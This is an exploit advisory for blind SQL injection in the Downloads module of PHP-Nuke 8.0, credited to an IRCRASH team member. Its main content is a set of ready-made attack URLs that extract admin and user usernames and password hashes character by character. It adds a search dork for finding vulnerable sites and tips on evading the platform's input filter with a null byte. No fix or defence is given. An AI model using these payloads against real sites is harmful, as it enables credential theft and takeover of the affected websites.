PHP-Nuke Downloads Module SQL Injection

`#####################################################################################  
#### PHP-Nuke 8.0 Downloads Blind Sql Injection ####  
#####################################################################################  
# #  
#AUTHOR : Sina Yazdanmehr (R3d.W0rm) #  
#Discovered by : Sina Yazdanmehr (R3d.W0rm) #  
#Our Site : http://ircrash.com #  
#My Official WebSite : http://r3dw0rm.ir #  
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) #  
#####################################################################################  
# #  
#Download : http://phpnuke.org #  
# #  
#Dork : inurl:modules.php?name=Downloads "PHP-Nuke" #  
# #  
#####################################################################################  
# [Bug] #  
# #  
#Admin Username : http://[site]/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+aid+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*  
#Admin Password : http://[site]/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+pwd+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*   
#Users Username : http://[site]/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+username+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*   
#Users Password : http://[site]/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+user_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*   
# #  
#####################################################################################  
# [Note] #  
# #  
#1. magic_quotes_gpc = Off #  
#2. register_globals = On #  
#3. For using bug you must login via a simple user. #  
#4. After using bug go to this url : #  
#http://[site]/[path]/modules.php?name=Downloads&d_op=Add&[email protected]&title=zz&url=zz&description=zz  
#5. I use ascii codes and null byte in url for bypass nuke security function #  
# please don't change ascii code and %00. #  
# #  
###################################### TNX GOD ######################################  
`